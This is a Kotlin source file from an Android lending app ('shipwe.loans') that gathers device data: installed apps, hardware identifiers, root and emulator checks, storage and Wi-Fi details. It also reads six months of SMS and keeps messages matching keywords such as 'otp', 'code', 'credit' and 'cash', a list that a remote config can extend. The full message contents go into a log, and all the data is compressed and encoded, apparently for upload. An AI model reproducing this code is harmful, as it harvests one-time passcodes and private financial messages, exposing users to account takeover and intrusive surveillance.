package com.shipwe.loans.device.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.os.Build
import android.provider.Telephony
import android.util.Base64
import com.google.gson.Gson
import com.shipwe.loans.device.bean.DeviceShipweAppListBean
import com.shipwe.loans.device.bean.DeviceShipweHardwareBean
import com.shipwe.loans.device.bean.DeviceShipweMessageBean
import com.shipwe.loans.device.bean.DeviceShipweStoreBean
import com.shipwe.loans.device.bean.DeviceShipweWifiBean
import com.shipwe.loans.device.bean.DeviceShipweBean
import com.shipwe.loans.device.util.DeviceShipweGeneralUtil
import com.shipwe.loans.device.util.DeviceShipweHardwareUtil
import com.shipwe.loans.device.util.DeviceShipweNetworkUtil
import com.shipwe.loans.device.util.DeviceShipweStorageUtil
import com.shipwe.loans.device.util.checkPermissionsGranted
import com.shipwe.loans.device.util.safe
import com.shipwe.loans.device.util.safeInt
import com.shipwe.loans.utils.helper.CustomConfigsHelper
import com.shipwe.loans.utils.log.JsonFormat
import com.shipwe.loans.utils.log.ShipweLogger
import java.io.ByteArrayOutputStream
import java.io.IOException
import java.nio.charset.StandardCharsets
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.zip.GZIPOutputStream

@SuppressLint("QueryPermissionsNeeded")
fun Context.appDatas(): String {
    return try {
        val packages = packageManager.getPackagesHoldingPermissions(
            arrayOf(
                Manifest.permission.INTERNET,
                Manifest.permission.ACCESS_NETWORK_STATE,
                Manifest.permission.READ_PHONE_STATE),
            PackageManager.GET_ACTIVITIES or PackageManager.GET_META_DATA
        )
        val result = packages.filter { packageInfo ->
            packageInfo.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM == 0
        }.map { packageInfo ->
            val appInfo = packageInfo.applicationInfo
            val appName = appInfo.loadLabel(packageManager).toString()
            val appVersionCode = if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                packageInfo.versionCode.toString()
            } else {
                packageInfo.longVersionCode.toString()
            }

            DeviceShipweAppListBean(
                appType = "0",
                appName = appName,
                flags = appInfo.flags.toString(),
                dataPath = appInfo.dataDir.safe(),
                sourcePath = appInfo.sourceDir.safe(),
                appPackageName = packageInfo.packageName,
                appVersionName = packageInfo.versionName,
                installTime = packageInfo.firstInstallTime.toString(),
                lastTime = packageInfo.lastUpdateTime.toString(),
                appVersionCode = appVersionCode
            )
        }

        Gson().toJson(result).trim().gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.deviceDatas(): DeviceShipweBean {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return DeviceShipweBean()

    return try {
        DeviceShipweBean(
            imei = "",
            mac = DeviceShipweNetworkUtil.getMacAddress(),
            laguage = DeviceShipweGeneralUtil.getLanguage(),
            area = DeviceShipweGeneralUtil.getArea(),
            screenHeight = DeviceShipweGeneralUtil.getDeviceHeight(this),
            screenWidth = DeviceShipweGeneralUtil.getDeviceWidth(this),
            networkData = DeviceShipweGeneralUtil.getSimOperatorName(this),
            frontCameraPixels = DeviceShipweHardwareUtil.getFrontCameraPixels(this),
            rearCameraPixels = DeviceShipweHardwareUtil.getBackCameraPixels(this),
            ram = DeviceShipweStorageUtil.getRamTotal(this),
            rom = DeviceShipweStorageUtil.getCashTotal(),
            ip = DeviceShipweNetworkUtil.getIPAddress(this),
            ip2 = DeviceShipweNetworkUtil.getIPAddress(this),
            networkEnvironment = DeviceShipweGeneralUtil.getNetworkType(this),
            cpu = DeviceShipweGeneralUtil.getCpuModel()
        )
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        DeviceShipweBean()
    }
}

fun Context.hardwareDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ""

    return try {
        val bean = DeviceShipweHardwareBean(
            phoneType = DeviceShipweGeneralUtil.getPhoneType(this),
            versionCode = DeviceShipweGeneralUtil.getVersionCode(this),
            versionName = DeviceShipweGeneralUtil.getVersionName(this),
            androidId = DeviceShipweGeneralUtil.getAndroidID(this),
            telephony = DeviceShipweGeneralUtil.getSimOperatorName(this),
            isVpn = DeviceShipweNetworkUtil.getVpnState(this),
            isProxyPort = DeviceShipweNetworkUtil.getIsWifiProxy(),
            isDebug = DeviceShipweGeneralUtil.getIsDebug(this),
            simState = DeviceShipweGeneralUtil.getSimCardState(this),
            root = DeviceShipweHardwareUtil.getIsRoot(),
            physicalSize = DeviceShipweHardwareUtil.getPhySicalSize(this),
            displayLanguage = DeviceShipweGeneralUtil.getDisplayLanguage(),
            iso3Language = DeviceShipweGeneralUtil.getIso3Language(),
            iso3Country = DeviceShipweGeneralUtil.getIso3Country(),
            networkOperatorName = DeviceShipweGeneralUtil.getSimOperatorName(this),
            networkType = DeviceShipweGeneralUtil.getNetworkType(this),
            timeZoneId = DeviceShipweGeneralUtil.getTimeZoneId(),
            elapsedRealtime = DeviceShipweGeneralUtil.getElapsedRealtime(),
            sensorList = DeviceShipweHardwareUtil.getSensorList(this),
            lastBootTime = DeviceShipweGeneralUtil.getLastBootTime(),
            rootJailbreak = DeviceShipweHardwareUtil.getIsRoot(),
            keyboard = DeviceShipweHardwareUtil.getKeyboard(this),
            isSimulator = DeviceShipweHardwareUtil.getIsSimulator(),
            dbm = DeviceShipweHardwareUtil.getMobileDbm(this),
            phoneNumber = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

var MSG_STATUS = "FET_OK"

@SuppressLint("Range")
fun Context.msgDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
    if (!hadPermission) return ""

    return try {
        // SMS mobile 关键词
        val mobileFilters = mutableSetOf("money", "cash", "454")
        //SMS Content 关键词
        val contentFilters = mutableSetOf("fcfa", "xof", "loan", "money", "solde", "cash", "code", "credit", "otp")
        //客服配置读取 Content 关键字
        val contentKeys = CustomConfigsHelper.getShipweSmsContentKeys()
        if (contentKeys != null){
            contentFilters.addAll(contentKeys)
        }

        //客服配置读取 Mobile 关键字
        val mobileKeys = CustomConfigsHelper.getShipweSmsMobileKeys()
        if (mobileKeys != null){
            mobileFilters.addAll(mobileKeys)
        }

        val list = mutableListOf<DeviceShipweMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )
        // 只查180天内的短信
        val startTime: Long = timeIn(-180)
        val selection = "DATE >= $startTime"
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        val cursor = contentResolver.query(uri, columns, selection, null, order) ?: return ""
        while (cursor.moveToNext()) {
            val sid = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
            val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
            var person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe()
            val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
            val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe()
            val type = if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safeInt() == 1) "RECEIVE" else "SEND"
            val typeOri = cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE)).safe()
            val protocol = if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)).safeInt() == 1) "MMS" else "SMS"
            val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
            val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()

            if (person.isBlank()) {
                person = address
            }
            // 检查mobil是否匹配
            if (mobileFilters.any { filter -> address.uppercase().contains(filter.uppercase(),true)}){
                list.add(DeviceShipweMessageBean(name = person, mobile = address, type = type, protocol = protocol, smsTime = date, person = person, typeOri = typeOri, content = body, cid = sid, protocolOri = protocol, read = read, seen = read, subject = "", status = status, dateSent = date))
                continue
            }
            // 检查content是否匹配
            if (contentFilters.any { filter -> body.uppercase().contains(filter.uppercase(), true)}) {
                list.add(DeviceShipweMessageBean(name = person, mobile = address, type = type, protocol = protocol, smsTime = date, person = person, typeOri = typeOri, content = body, cid = sid, protocolOri = protocol, read = read, seen = read, subject = "", status = status, dateSent = date))
            }
        }

        if (!cursor.isClosed) {
            cursor.close()
        }

        MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"

//        ShipweLogger.e("sms list data：${Gson().toJson(list).trim()}")
        Thread { ShipweLogger.i("sms list data：${JsonFormat.format(Gson().toJson(list).trim())}") }.start()
        Gson().toJson(list).trim().gzipString()

    } catch (e: Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.storageDatas(): String {
    return try {
        val bean = DeviceShipweStoreBean(
            containSd = DeviceShipweStorageUtil.getContainSD(),
            ramCanUse = DeviceShipweStorageUtil.getRamCanUse(this),
            ramTotal = DeviceShipweStorageUtil.getRamTotal(this),
            cashCanUse = DeviceShipweStorageUtil.getCashCanUse(),
            cashTotal = DeviceShipweStorageUtil.getCashTotal(),
            extraSD = DeviceShipweStorageUtil.getExtraSD(),
            internalTotal = DeviceShipweStorageUtil.getTotalInternalStoreSize(this),
            internalAvailable = DeviceShipweStorageUtil.getAvailaInternalStoreSize(this),
            ramDidUsed = DeviceShipweStorageUtil.getRamDidUsed(this),
            cashDidUsed = DeviceShipweStorageUtil.getCashDidUsed(),
            sdCardTotal = DeviceShipweStorageUtil.getSDCardTotal()
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.wifiDatas(): String {
    return try {
        val bean = DeviceShipweWifiBean(
            currentWifi = DeviceShipweNetworkUtil.getCurrentWifi(this),
            configuredWifi = "",
            wifiCount = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun String.gzipString(): String {
    if (isBlank()) return ""
    return try {
        val utf8Char = StandardCharsets.UTF_8
        val outputStream = ByteArrayOutputStream()
        GZIPOutputStream(outputStream).use { gzipOutputStream ->
            gzipOutputStream.write(this.toByteArray(utf8Char))
        }
        val zipBuffer = outputStream.toByteArray()
        return Base64.encodeToString(
            zipBuffer,
            Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING
        )
    } catch (e: IOException) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("SimpleDateFormat")
fun Context.timeIn(nextDays: Int): Long {
    return try {
        val mCalendar = Calendar.getInstance().apply {
            add(Calendar.DAY_OF_MONTH, nextDays)
        }
        val year = mCalendar[Calendar.YEAR]
        val month = mCalendar[Calendar.MONTH] + 1
        val day = mCalendar[Calendar.DAY_OF_MONTH]
        val format = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
        val date = format.parse("$year-$month-$day 00:00:00")
        date?.time ?: 0L
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        0L
    }
}